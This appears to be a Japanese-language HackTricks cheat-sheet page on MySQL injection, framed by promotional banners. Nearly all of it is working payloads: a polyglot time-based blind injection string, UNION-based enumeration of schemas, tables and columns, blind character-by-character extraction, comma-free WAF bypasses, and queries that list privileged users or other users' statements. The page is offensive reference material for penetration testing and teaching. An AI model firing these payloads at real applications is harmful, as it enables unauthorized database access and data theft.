htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 してみたいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
RootedCON はスペイン で最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパ でも最も重要なイベントの1つです。技術的知識の促進を使命 とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
Copy -- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3 . 23 . 02
興味深い関数
Mysqlの確認:
Copy concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
便利な関数
Copy SELECT hex( database ())
SELECT conv(hex( database ()), 16 , 10 ) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE( 'cleartext' , 'PWD' ), 'PWD' )# Encode() & decpde() returns only numbers
SELECT uncompress( compress ( database ())) #Compress & uncompress() returns only numbers
SELECT replace ( database (), "r" , "R" )
SELECT substr( database (), 1 , 1 ) = 'r'
SELECT substring ( database (), 1 , 1 ) = 0x72
SELECT ascii ( substring ( database (), 1 , 1 )) = 114
SELECT database () =char ( 114 , 101 , 120 , 116 , 101 , 115 , 116 , 101 , 114 )
SELECT group_concat( < COLUMN > ) FROM <TABLE>
SELECT group_concat( if (strcmp(table_schema, database ()),table_name, null ))
SELECT group_concat( CASE (table_schema) When ( database ()) Then (table_name) END )
strcmp(),mid(),,ldap(),rdap(), left (),rigth(),instr(),sleep()
すべてのインジェクション
Copy SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
フロー
"現代"のMySQL バージョンでは、"information_schema.tables "を"mysql.innodb_table_stats "に置き換えることができます(これはWAFをバイパスするのに役立つかもしれません)。
Copy SELECT table_name FROM information_schema.tables WHERE table_schema =database ();# Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT < COLUMN1 > , < COLUMN2 > FROM < TABLE_NAME > ; # Get values
SELECT user FROM mysql.user WHERE file_priv = 'Y' ; #Users with file privileges
1つの値のみ
ブラインド one by one
substr(version(),X,1)='r'
またはsubstring(version(),X,1)=0x70
またはascii(substr(version(),X,1))=112
ブラインド追加
LPAD(version(),1...lenght(version()),'1')='asd'...
RPAD(version(),1...lenght(version()),'1')='asd'...
SELECT RIGHT(version(),1...lenght(version()))='asd'...
SELECT LEFT(version(),1...lenght(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
列の数を検出
単純なORDERを使用
Copy order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQLユニオンベース
Copy UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c,schema_name,0x7c) +fRoM+ information_schema.schemata
UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c,table_name,0x7C) +fRoM+ information_schema.tables +wHeRe+ table_schema = ...
UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c,column_name,0x7C) +fRoM+ information_schema.columns +wHeRe+ table_name = ...
UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c, data ,0x7C) +fRoM+ ...
SSRF
**Mysqlインジェクションを悪用してSSRFを取得する方法 について、異なるオプションをここで学んでください。
WAFバイパストリック
Information_schemaの代替案
"現代"のMySQL のバージョンでは、information_schema.tables を mysql.innodb_table_stats や sys.x$schema_flattened_keys 、またはsys.schema_table_statistics に置き換えることができることを覚えておいてください。
コンマを使用せずにMySQLインジェクション
コンマを使用せずに2つの列を選択する(https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma ):
Copy -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
列名なしで値を取得する
ある時点でテーブルの名前はわかっているが、テーブル内の列名がわからない場合、次のようなコマンドを実行して列の数を見つけてみることができます:
Copy # When a True is returned, you have found the number of columns
select (select "" , "" ) = ( SELECT * from demo limit 1 ); # 2columns
select (select "" , "" , "" ) < ( SELECT * from demo limit 1 ); # 3columns
仮定して、2つの列があるとします(最初の列がIDで、もう1つがフラグです)、フラグの内容を1文字ずつ試行することでブルートフォース攻撃を試みることができます。
Copy # When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf' ) = ( SELECT * from demo limit 1 );
詳細はhttps://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952 にあります。
MySQLの歴史
sys.x$statement_analysis テーブルを読み取ることで、MySQL内で他の実行を見ることができます。
バージョンの代替案
Copy mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
その他のMYSQLインジェクションガイド
参考文献
RootedCON はスペイン で最も関連性の高いサイバーセキュリティイベントの1つであり、ヨーロッパ でも最も重要なイベントの1つです。技術知識の促進を使命 とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝 したいですか?またはPEASSの最新バージョンにアクセス したいですか?またはHackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
Last updated 3 months ago